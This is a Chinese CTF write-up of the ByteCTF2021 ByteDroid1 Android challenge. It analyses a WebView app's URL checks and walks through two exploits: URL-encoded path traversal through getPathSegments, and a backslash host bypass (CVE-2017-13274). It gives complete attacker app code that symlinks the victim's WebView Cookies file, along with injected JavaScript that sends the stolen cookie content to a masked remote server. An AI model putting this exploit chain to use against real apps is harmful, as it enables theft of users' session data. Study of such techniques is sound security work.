ByteCTF2021 ByteDroid1复现

依旧参考:ByteCTF2021 ByteDroid1复现 | LLeaves Blog

APK分析

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.bytedroid1" platformBuildVersionCode="30" platformBuildVersionName="11">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/>
<uses-permission android:name="android.permission.INTERNET"/>
<application android:theme="@style/Theme.ByteDroid1" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity android:name="com.bytectf.bytedroid1.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:name="com.bytectf.bytedroid1.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
</application>
</manifest>

FlagRecevier

接收flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.bytectf.bytedroid1;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Base64;
import android.util.Log;
import android.webkit.CookieManager;
import java.io.UnsupportedEncodingException;

/* loaded from: classes3.dex */
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
try {
String flag2 = Base64.encodeToString(flag.getBytes("UTF-8"), 0);
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setCookie("https://tiktok.com/", "flag=" + flag2);
Log.e("FlagReceiver", "received flag.");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
}
}

MainActivity

MainActivity 中先检查APP数据目录下/cache文件夹下是否有index.html,如果没有则解压资源文件中的game.zip到cache目录实现WebView离线加载 ,然后就会接受getIntent().getData() 如果没拿到或者没通过host和scheme的校验则设置为指定的index.html

如果通过校验则被webview加载,然后被shouldInterceptRequest拦截到后再次验证,先是使用getPathSegments对路径进行分段,对第一段内容和最后一断后缀进行校验,如果通过则通过InputStream读取内容并且通过return new WebResourceResponse(null, “utf-8”, ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION, “OK”, headers, inputStream)返回,实现离线加载的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package com.bytectf.bytedroid1;

import android.content.Context;
import android.net.Uri;
import android.os.Bundle;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import androidx.recyclerview.widget.ItemTouchHelper;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
File file = new File(getCacheDir(), "index.html");
if (!file.exists()) {
try {
UnZipAssetsFolder(getApplicationContext(), "game.zip", getCacheDir().getPath());
} catch (Exception e) {
e.printStackTrace();
}
}
Uri data = getIntent().getData();
if (data == null || !data.getHost().endsWith(".toutiao.com") || !data.getScheme().equals("http")) {
data = Uri.parse("http://bytectf.toutiao.com/local_cache/index.html");
}
WebView webView = new WebView(getApplicationContext());
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient() { // from class: com.bytectf.bytedroid1.MainActivity.1
@Override // android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
List<String> pathSegments = uri.getPathSegments();
int size = pathSegments.size();
if (size >= 1) {
String lastPathSegment = pathSegments.get(size - 1);
if (pathSegments.get(0).equals("local_cache") && (lastPathSegment.endsWith(".html") || lastPathSegment.endsWith(".js") || lastPathSegment.endsWith(".css") || lastPathSegment.endsWith(".png"))) {
File cacheFile = new File(MainActivity.this.getCacheDir(), MainActivity$1$$ExternalSyntheticBackport0.m(File.separator, pathSegments.subList(1, size)));
if (cacheFile.exists()) {
try {
InputStream inputStream = new FileInputStream(cacheFile);
Map<String, String> headers = new HashMap<>();
headers.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse(null, "utf-8", ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION, "OK", headers, inputStream);
} catch (IOException e2) {
return null;
}
}
}
}
return super.shouldInterceptRequest(view, request);
}
});
setContentView(webView);
webView.loadUrl(data.toString());
}

public static void UnZipAssetsFolder(Context context, String zipFileString, String outPathString) throws Exception {
ZipInputStream inPutZip = new ZipInputStream(context.getAssets().open(zipFileString));
while (true) {
ZipEntry zipEntry = inPutZip.getNextEntry();
if (zipEntry != null) {
String szName = zipEntry.getName();
if (zipEntry.isDirectory()) {
String szName2 = szName.substring(0, szName.length() - 1);
File folder = new File(outPathString + File.separator + szName2);
if (!folder.exists()) {
folder.mkdirs();
} else {
return;
}
} else {
File file = new File(outPathString + File.separator + szName);
if (!file.exists()) {
file.getParentFile().mkdirs();
file.createNewFile();
}
FileOutputStream out = new FileOutputStream(file);
byte[] buffer = new byte[1024];
while (true) {
int len = inPutZip.read(buffer);
if (len == -1) {
break;
}
out.write(buffer, 0, len);
out.flush();
}
out.close();
}
} else {
inPutZip.close();
return;
}
}
}
}

核心逻辑:

  • 拿到请求 URL:Uri uri = request.getUrl();
  • 取 pathSegments(把路径按 / 切开):比如:/local_cache/index.html["local_cache","index.html"]
  • 检查:
    1. 第一段必须是 "local_cache"
    2. 最后一段文件名必须以 .html/.js/.css/.png 结尾
  • 如果满足,就去本地 cache 目录找对应文件
1
2
3
4
File cacheFile = new File(
MainActivity.this.getCacheDir(),
join(File.separator, pathSegments.subList(1, size))
);

若文件存在:返回一个 WebResourceResponse,把本地文件流当成响应体,并加上:Access-Control-Allow-Origin: *

效果:

只要页面里请求的路径长得像:

1
2
http://xxx.toutiao.com/local_cache/xxx.js
http://bytectf.toutiao.com/local_cache/index.html

WebView 实际拿到的内容会来自,/data/data/com.bytectf.bytedroid1/cache/xxx.js 等文件,这就是一个伪装成网络域名,实际从本地 cache 提供资源的机制

此外这里还有个

1
WebView webView = new WebView(getApplicationContext());

意思是:用全局 App 上下文”创建一个 WebView,而不是用当前 Activity 的上下文,此外还有以下的声明方式

1
2
3
WebView webView = new WebView(this);
// 或
WebView webView = findViewById(R.id.webview);

漏洞分析及实现

方案一

URLencode配合getPathSegments实现路径穿越

首先就要想到绕过第一层校验,让WebView实际加载恶意的html,可以通过路径穿越绕过,加载Attacker App内部存储的html文件。因为MainActivity中有一个List pathSegments = uri.getPathSegments(); 实际就是对路径进行切分,然后decode。如果不进行URL编码,那么路径穿越中间部分的../ 都会在WebView进行加载时被去除,从而使得在shouldInterceptRequest 拦截到后的url中不含有返回上一级目录的url部分,从而失败,但是由于存在getPathSegments就可以先编码,然后解码之后成功实现路径穿越。

严谨的来说不是直接去除../而是在 URL 规范化过程中,与它前面的一个 path segment 发生“抵消(pop)。

Uri.getPathSegments() 干了什么?

官方语义是:

Return the decoded path segments of this URI.

示例 1:普通路径

1
2
Uri uri = Uri.parse("http://a.com/local_cache/a/b/c.html");
uri.getPathSegments();

结果:

1
["local_cache", "a", "b", "c.html"]

示例 2:未编码的 ../

1
2
Uri uri = Uri.parse("http://a.com/local_cache/../evil.html");
uri.getPathSegments();

WebView / URL 解析阶段../ 很可能已经被规范化(normalize) 掉了:

等价于:

1
http://a.com/evil.html

于是:

1
["evil.html"]

这里../与local_cache发生了抵消

如果是http://a.com/local_cache/../../../evil.html仍旧只剩evil.html因为无法pop了

示例 3:URL 编码的路径穿越

1
2
3
4
Uri uri = Uri.parse(
"http://a.com/local_cache/%2e%2e/%2e%2e/evil.html"
);
uri.getPathSegments();

执行流程非常关键:

1
/local_cache/%2e%2e/%2e%2e/evil.html
  • 这一步 不会被 normalize
  • 因为 %2e.

当然如果是http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata/data/com.bytectf.pwnbytedroid1/files/symlink.html也行,也就是把..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata识别城一个路径了

从而再次被拦截后路径穿越,访问到symlink.html ,它指向被攻击APP数据目录下/app_webview/Cookies文件,从而导致Cookies泄露并且将结果传送到远程。思路甚至比mediumdroid清晰

方案一实现

LLeaves中提到由于FlagRecevier设置Cookies需要一段时间,所以最好延时40s后启动实际的攻击流程(如果是本地模拟的话广播完不用等待)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.bytectf.pwnbytedroid1;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setClassName("com.bytectf.bytedroid1","com.bytectf.bytedroid1.MainActivity");
intent.setData(Uri.parse("http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2Fdata/data/com.bytectf.pwnbytedroid1/files/evil.html"));
try {
createSymlink();
createHTML();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}

try {
Thread.sleep( 40 * 1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
startActivity(intent);
}
public void createHTML() throws IOException, InterruptedException {
String dataDir = "/data/data/" + getPackageName();
String content = "<h1>Test</h1>\n" +
"<script>\n" +
" async function fetchTest() {\n" +
" var response = await fetch('http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata/data/com.bytectf.pwnbytedroid1/files/symlink.html');\n" +
" var responseText = await response.text();\n" +
" fetch('http://111.xxxxxxx//?msg='+ responseText.slice(responseText.search('flag'),responseText.search('flag')+70) )\n" +
" }\n" +
" (async () => {\n" +
" await fetchTest();\n" +
" })();\n" +
"</script>";

File evilHtml = new File(dataDir + "/files/evil.html");
FileOutputStream fileOutputStream = new FileOutputStream(evilHtml);
fileOutputStream.write(content.getBytes(StandardCharsets.UTF_8));
fileOutputStream.close();
Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files").waitFor();
}


public void createSymlink() throws IOException, InterruptedException {
String dataDir = "/data/data/" + getPackageName();
Runtime.getRuntime().exec("rm -rf " + dataDir + "/files").waitFor();
Runtime.getRuntime().exec("mkdir " + dataDir + "/files").waitFor();
Runtime.getRuntime().exec("chmod 777 -R " + dataDir).waitFor();
Runtime.getRuntime().exec("ln -s " + "/data/data/com.bytectf.bytedroid1/app_webview/Cookies" + " " + dataDir + "/files/symlink.html").waitFor();
Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files").waitFor();
}
}

image-20260123160047927

当然也可以不放在请求参数里

方案二:CVE-2017-13274

image-20260123201617141

2018 年 4 月左右修复 CVE-2017-13274(以及相关 URL/host 解析不一致问题)的补丁

“special” URL schemes (which is basically all commonly-used hierarchical schemes, including http, https, ftp, and file), the host portion ends if a \ character is seen, whereas this class previously continued to consider characters part of the hostname. 也就是说反斜杠\ 在CVE-2017-13274完成修复后会被视为Host的结束,而非Host的一部分。

也就是说可以通过构造http://attacker.com\\.app.toutiao.com/bytedroid1.html这样的路径来绕过Host的检测,使其直接访问远程的bytedroid1.html ,远程此时就可以通过路径穿越读取Cookies,前提也是要创建好symlink.html ,

from LLeaves

可以反过来理解,这个就是让受害APP加载这个HTML去读symlink获得flag吗,这个挺好理解,问题是如何触发这个?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<h1>Test</h1>
<script>
async function fetchTest() {
var response = await fetch('http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata/data/com.bytectf.pwnbytedroid1/files/symlink.html');
var responseText = await response.text();

xhr = new XMLHttpRequest();
xhr.open("POST", "http://xxx.xxx.xxx.xxx:xxx", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("file_content=" + encodeURIComponent(responseText));
alert("File content sent to server.");
}
fetchTest()
</script>
  1. ByteDroid1 的第一层校验到底在防什么

MainActivity 入口只允许:

  • scheme == http
  • host.endsWith(".toutiao.com")

不满足就强制改成默认的 http://bytectf.toutiao.com/local_cache/index.html

也就是说,你想让它加载你自己的远程恶意页面,正常情况下必须把 host 做成 .toutiao.com 才行

1
http://attacker.com\\.app.toutiao.com/bytedroid1.html

我们可以这样构造

它利用的是:在旧版本里,Java 的 Uri.getHost() 会把反斜杠 \ 当普通字符留在 host 里(或者至少不会在这里截断),于是得到的 host 类似:

1
attacker.com\\.app.toutiao.com

这个字符串当然 endsWith(“.toutiao.com”) 为真,所以通过第一层校验。

但 WebView / Chromium 的网络栈对 URL 的处理里,反斜杠常会被当成分隔符/被规范化到 path 侧(不同版本细节有差异,但核心是:实际 HTTP 请求会发到 attacker.com),于是 WebView 真正加载的是:

  • host:attacker.com
  • path:\\.app.toutiao.com/bytedroid1.html

结果:应用以为自己在加载 “*.toutiao.com”,实际 WebView 去拉了 attacker.com 上的页面

这样修改可以

1
2
3
4
5
6
7
8
9
10
11
12
//        intent.setData(Uri.parse("http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2Fdata/data/com.bytectf.pwnbytedroid1/files/evil.html"));
Uri data = Uri.parse("http://xxxx:8000\\@.toutiao.com/bytedroid1.html");
intent.setData(data);
Log.d("Test", "getScheme:" + data.getScheme());
Log.d("Test", "getHost:" + data.getHost());
Log.d("Test", "getAuthority:" + data.getAuthority());
Log.d("Test", "getUserInfo:" + data.getUserInfo());
Log.d("Test", "getPath:" + data.getPath());
Log.d("Test", "getQuery:" + data.getQuery());
try {
createSymlink();
// createHTML();

image-20260123210949011

image-20260123211037066